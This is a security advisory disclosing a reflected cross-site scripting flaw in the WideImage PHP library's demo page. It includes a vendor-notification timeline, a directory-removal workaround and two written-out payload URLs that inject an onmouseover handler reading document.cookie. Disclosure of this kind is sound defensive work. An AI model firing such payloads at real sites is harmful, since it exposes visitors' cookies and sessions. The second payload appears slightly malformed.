WideImage Demo Code Cross Site Scripting (XSS) Description: WideImage is an object-oriented library for image manipulation.  It requires PHP 5.2+ with GD2 extension. The library provides a simple way to loading, manipulating and saving images in the most common image formats. Type of vulnerability:  Reflected XSS Threat level: Medium Tested on:  Windows 8.1 Product:  WideImage - An Open Source PHP library for image manipulation. Version:  11.02.19 Build date:  2011-02-19 Live vulnerable URL during discovery: http://wideimage.sourceforge.net/wp-content/current/demo/index.php How to replicate this vulnerability: Assuming WideImage is installed on http://localhost:8080/wideimage/, one can inject JavaScript with: Payload URL 1: http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo Payload URL 1: http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo Workaround/Fix: To fix this, please remove the two following directories: public_html/wideimage/demo public_html/wideimage/test Disclosure Time-line: Notified vendor: July 04, 2015 Response from vendor: No response.  Disclosure due to: Page here at http://wideimage.sourceforge.net/support/ says, "6. If it's bug. Report it." Fix: Not fixed at this time (July 07, 2015) WideImage Vendor Bug Ticket Reference: http://sourceforge.net/p/wideimage/bugs/42/ Credits and Copyright: This vulnerability was discovered by Mohammad Sikkandar Sha. It's licensed under the creative commons attribution license 4.0. Mohammad Sikkandar Sha, 2015-July-07, Email: sikkandar.lynx@gmail.com